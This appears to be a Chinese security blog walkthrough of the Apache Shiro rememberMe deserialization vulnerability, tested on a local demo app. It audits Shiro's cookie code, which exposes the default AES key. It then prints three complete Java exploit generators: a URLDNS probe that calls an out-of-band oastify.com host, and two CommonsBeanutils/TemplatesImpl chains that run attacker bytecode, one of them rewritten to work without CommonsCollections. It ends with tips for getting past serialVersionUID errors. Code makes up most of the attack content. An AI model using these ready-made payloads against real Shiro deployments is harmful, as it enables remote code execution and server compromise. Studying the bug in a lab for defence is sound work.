Java反序列化之shiro反序列化

本文最后更新于:18 天前

感谢P神提供的环境:shirodemo

环境部署

在官网下载好Tomcat之后,将tomcat解压至一个目录中

然后在IDEA的启动项目处点击编辑配置

在左边添加Tomcat的本地服务器,

并进行路径配置,IDEA会帮我们自动获取系统中的tomcat版本列表,这里我用的是tomcat9

IDEA内,选择启动方式是当前文件运行项目,这时候idea会自动帮我们编译构建好项目

构建好之后目录下新增了一个target目录

再来到tomcat的配置处,在部署的位置新增WEB-INF的上一级目录,我这里也就是编译好的target目录下的shirodemo

随后选择以tomcat配置运行项目

成功唤起浏览器,来到demo页面,环境搭建至此结束

序列化流程

shiro将一部分数据存储序列化并加密之后存储在cookie中,这样就不需要每次都重复登陆了,数据通过Cookie中rememberMe的值传入后端之后,经过解密,反序列化获得到存储的数据

全局搜索Cookie,有一个类的名字吸引了我的注意力,CookieRemberMeManager,顾名思义显然和rememberMe这个Cookie有脱不开的干系

进行审计,其中方法rememberSerializedIdentity()中对参数serialized进行base64编码之后,存储到cookie中,这个serialized参数必然就是和序列化后数据相关的一个对象,那就看看谁调用了rememberSerializedIdentity()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +
"request and response in order to set the rememberMe cookie. Returning immediately and " +
"ignoring rememberMe operation.";
log.debug(msg);
}
return;
}


HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);

//base 64 encode it and store as a cookie:
String base64 = Base64.encodeToString(serialized);

Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}

来到了rememberIdentity()方法,传入了一个subject对象以及一个PrincipalCollection对象,这个PrincipalCollection暂时不去理会,主要发现传入rememberSerializedIdentity()方法的serialized对象,来自于经过convertPrincipalsToBytes()方法处理后的一个字节流,那就去看看convertPrincipalsToBytes()的定义

1
2
3
4
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}

总体看上去功能非常的清晰,先对principals对象进行一个序列化,然后再经过加密后返回字节流

1
2
3
4
5
6
7
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}

跟进encrypt()函数看看加密的方式,加密的接口getCipherService(),去看看是怎么个事

1
2
3
4
5
6
7
8
9
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}

来到了一个getter,那就去构造函数看看

1
2
3
public CipherService getCipherService() {
return cipherService;
}

显然这里的加密方式就是AES了,并且默认的key也在构造函数此处设定了setCipherKey(DEFAULT_CIPHER_KEY_BYTES);

1
2
3
4
5
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

跟进去看一眼,能看到这里的默认key直接明晃晃放在这里了,这也是shiro此次漏洞的关键所在,使用了默认的key导致能恶意构造任意的序列化数据后自行加密,传输到服务器后被解密后反序列化

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

反序列化流程

上面有serialize()方法,那必然有deserialize()方法来进行反序列化,因此定位到函数,这里的解密肯定也是用aes不做过多赘述

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

一路跟进到deserialize()方法的实现处,发现对于序列化数据没有任何的检测,直接读取后走入readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}

poc构建

按照上面的流程的分析,cookie的序列化流程为:

1
2
3
对象进行序列化
使用base64解码后的密钥对序列化后的字节流进行加密
使用base64编码aes加密后的流,最终返回base64编码后的cookie

反序列化漏洞的poc自然就是URLDNS链了,对hashmap序列化之后,按照shiro的加密流程以及默认密钥构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.potato.Commons_Collections;

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


public class shiro {
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static byte[] getPayload() throws Exception {

URL url = new URL("http://a2dz0r9p5z2ofy7sh8ymezjev51wppde.oastify.com");
HashMap<URL,Object> hashMap = new HashMap<>();

Class<?> c = url.getClass();
Field field = c.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,114514);

hashMap.put(url,11);

field.setAccessible(true);
field.set(url,-1);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(hashMap);
outputStream.flush();

return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payloads = shiro.getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(Base64.encodeToString(ciphertext.getBytes()));
}
}

将rememberMe放入cookie中

接收到dns记录

exp构建

CC依赖

shiro集成了cb依赖,因此可以通过CB链来构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package com.potato.Commons_Collections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.PriorityQueue;

public class shiro {

public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

public static byte[] getPayload() throws Exception {

TemplatesImpl templates = new TemplatesImpl();

byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"))};

Class<?> c = TemplatesImpl.class;
Field f = c.getDeclaredField("_bytecodes");
f.setAccessible(true);
f.set(templates,bytes);

TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();

f = c.getDeclaredField("_tfactory");
f.setAccessible(true);
f.set(templates,transformerFactory);

f = c.getDeclaredField("_name");
f.setAccessible(true);
f.set(templates,"11");

BeanComparator beanComparator = new BeanComparator();
beanComparator.setProperty("outputProperties");


PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
Class c1 = priorityQueue.getClass();
Field queueField = c1.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(priorityQueue,new Object[]{templates,templates,templates});

Field sizeField = c1.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,3);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(priorityQueue);
outputStream.flush();

return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payloads);
// ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
// objectInputStream.readObject();

byte[] payloads = shiro.getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(Base64.encodeToString(ciphertext.getBytes()));
}
}

但是第一次打过去的时候就发现没有动静,在shiro的控制台也出现了无法反序列化的报错,因此在deserialize()处打个断点,走到异常的地方,提示

1
local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

是两边serialVersionUID的不同导致的,这种情况一般是由于版本对不上导致的,

这时候我突然想起来,前面学习CB链的时候用的好像是cb1.9.2的。。火速降级为1.8.2

1
2
3
4
5
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.2</version>
</dependency>

重新编译运行,在cookie中发送payload,成功弹窗计算器

CC无依赖

虽然上面的CB链利用看上去只用到了commons beanutils,但是实际上当展开BeanComparator的import之后,会发现是引入了ComparableComparator的,而ComparableComparator是在cc中的。但是shiro只调用了cb中的一部分类,而没有调用BeanComparator,导致shiro默认是不需要CC依赖的

当我们把pom.xml中的CC依赖给注释掉,重启项目

再次发送payload时,没有触发计算器弹窗,在shiro终端出现报错,断点跟进看看异常的详情

1
Unable to load ObjectStreamClass [org.apache.commons.collections.comparators.ComparableComparator: static final long serialVersionUID = -291439688585137865L;]: 

追踪问题的所在,看看BeanComparator类中哪里调用了ComparableComparator,根据给出的三个构造函数,很容易知道按照我们上面的payload,调用BeanComparator的无参构造函数,是会走到第三个两个参数的构造函数处的,并且给comparator赋值中调用了ComparableComparator

1
2
3
public BeanComparator() {
this( null );
}
1
2
3
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}
1
2
3
4
5
6
7
8
public BeanComparator( String property, Comparator comparator ) {
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}

因此我们只需要通过反射修改一下comparator的值即可,但是修改后的comparator有几个必须满足的条件

  • 实现了Serializable接口
  • 实现了Comparator接口
  • 在JDK中或者shiro依赖中或者CB中

最终找到一个CaseInsensitiveComparator类位于String中,虽然本身是私有的,但是它被String中的CASE_INSENSITIVE_ORDER给实例化了,CASE_INSENSITIVE_ORDER是一个CaseInsensitiveComparator对象,尝试利用反射将comparator修改为CASE_INSENSITIVE_ORDER

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package com.potato.Commons_Collections;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.PriorityQueue;

public class shiro {
// 反射修改field,统一写成函数,方便阅读代码
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}

// 获取攻击链序列化后的byte数组
public static byte[] getPayload() throws Exception {

TemplatesImpl templates = new TemplatesImpl();

byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"))};

Class<?> c = TemplatesImpl.class;
Field f = c.getDeclaredField("_bytecodes");
f.setAccessible(true);
f.set(templates,bytes);

TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();

f = c.getDeclaredField("_tfactory");
f.setAccessible(true);
f.set(templates,transformerFactory);

//
f = c.getDeclaredField("_name");
f.setAccessible(true);
f.set(templates,"11");
// String.CASE_INSENSITIVE_ORDER

BeanComparator beanComparator = new BeanComparator();
beanComparator.setProperty("outputProperties");
// beanComparator.compare(templates,null);

//通过反射修改comparator
Class<?> c0 = beanComparator.getClass();
Field comparatorField = c0.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(beanComparator,String.CASE_INSENSITIVE_ORDER);

PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
Class c1 = priorityQueue.getClass();
Field queueField = c1.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(priorityQueue,new Object[]{templates,templates,templates});

Field sizeField = c1.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue,3);


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(priorityQueue);
outputStream.flush();

return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payloads = shiro.getPayload();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payloads);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
// objectInputStream.readObject();

AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(Base64.encodeToString(ciphertext.getBytes()));
}
}

成功执行命令

JRMP

康康javaDeserializeLabs下的lab3罢

不出网

康康javaDeserializeLabs下的lab4罢